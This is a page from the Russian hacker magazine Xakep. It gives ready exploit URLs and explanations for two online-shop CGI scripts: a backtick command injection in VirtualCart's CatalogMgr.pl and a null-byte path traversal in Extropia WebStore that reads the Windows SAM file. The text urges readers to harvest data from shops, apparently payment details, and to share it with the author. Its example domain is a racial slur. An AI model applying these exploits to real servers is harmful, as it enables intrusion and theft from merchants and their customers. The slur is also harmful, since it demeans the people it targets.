|

Потребительская корзина хакеров
Xakep, номер #037, стр. 037-056-3
Частота использования:
Если ты найдешь такой, то тебе крупно повезло. (1)
[ CatalogMgr.pl ]
Полное название:
VirtualCart Shopping Cart
Диагноз:
Чтение любого файла на сервере.
Эксплоит:
www.niggers.org/cgi-bin/CatalogMgr.pl?cartID=www.niggers.org&template=CatalogMgr.pl
Описание:
Чтение любого файла с диска? Нет, не только. Если ты читал мой перевод статьи rfp про уязвимости CGI (www.megazine.ru/sec), то наверняка уже понял, о чем будет сейчас идти речь. Скрипт повсеместно и со всех аргументов отфильтровывает символы '|' и '/' (ну, насколько я понял из запутанного исходника, который стоит всего $199 долларов :), а изъял я его в одном онлайн-магазине абсолютно бесплатно), но не отфильтровывает обратный апостроф `, который, в свою очередь, тоже позволяет исполнять команды. Т.е. мы можем немного помучить такую вещь, как `perl -e 'print "\x(КОД ТРЕБУЕМОГО СИМВОЛА В ТАБЛИЦЕ ASCII)"x1'`, и получить как раз тот символ, который скрипт так старательно отфильтровывал. Хочу сказать, что если ты подставишь в уязвимый урл выражение `perl -e 'print "\x(КОД ТРЕБУЕМОГО СИМВОЛА В ТАБЛИЦЕ ASCII)"x1'`и больше ничего, то ничего работать не будет, так как команда, заключенная в обратные апострофы, исполняется, а ее вывод (то есть то, что появится после выполнения этой команды, например, на терминале) подставится в исходную команду. Например, `perl -e 'print "ls"x1'` покажет тебе листинг текущего каталога. Я думаю, для тебя будет не сложно соорудить выражение, которое будет открывать, например, файл "ls -l /etc|", а на самом деле делать листинг директории /etc.
Частота использования: Достаточно часто (3.5)
[ web_store.cgi ]
Полное название:
Extropia WebStore 2.0 и ниже
Диагноз:
Чтение любого файла с диска.
Эксплоит:
www.niggers.org/cgi-bin/Web_store/web_store.cgi?page=../../../../../../winnt/repair/sam%00.html
www.niggers.org/cgi-bin/Web_store/web_store_log_analysis.cgi (этот скрипт тебе на домашнее задание, ибо в нем глюки тоже есть, и что самое немаловажное, этот скрипт очень маленький и с комментариями)
Описание:
Посмотрим внимательно на этот кусок кода:
$page =~ /([\w\-\=\+\/]+)\.(\w+)/;
$page = "$1.$2"; # Лепим имя файла с расширением
$page = "" if ($page eq ".");
$page =~ s/^\/+//; # Выбиваем символы / в начале строки (на фиг?)
Особенно меня тут заинтересовала строка номер 4. Я долго думал, зачем она нужна, ведь путного она ничего не делает (зачем убивать все символы / В НАЧАЛЕ строки?). Дальше никаких проверок переменной $page я не обнаружил. Но чуть поодаль эта переменная запихивается в функцию &display_page:
open (PAGE, "<$page") ||
&file_open_error("$page", "$routine", $file, $line);
Видишь <$page ??? Всякие | ушли в отстой, так как работать в данном случае они не могут.
Частота использования: Достаточно таких (3)
Канэц
Я думаю, на первый раз тебе этих корзинок вполне хватит. Ничего тут сложного нету, нужно лишь уметь шевелить одинокой извилиной, и все получится. Надо лишь немного везения и смекалки, и горы свопов всякой полезной информации у тебя на ладони :), а точнее на винчестере. Потом не забудь проверить эту информацию на www.micked.com (когда зайдешь туда, то поймешь, какую информацию я имею ввиду), а главное - поделиться СО МНОЙ :).
Назад на стр. 037-056-2 Содержание Вперед на стр. 037-056-4
|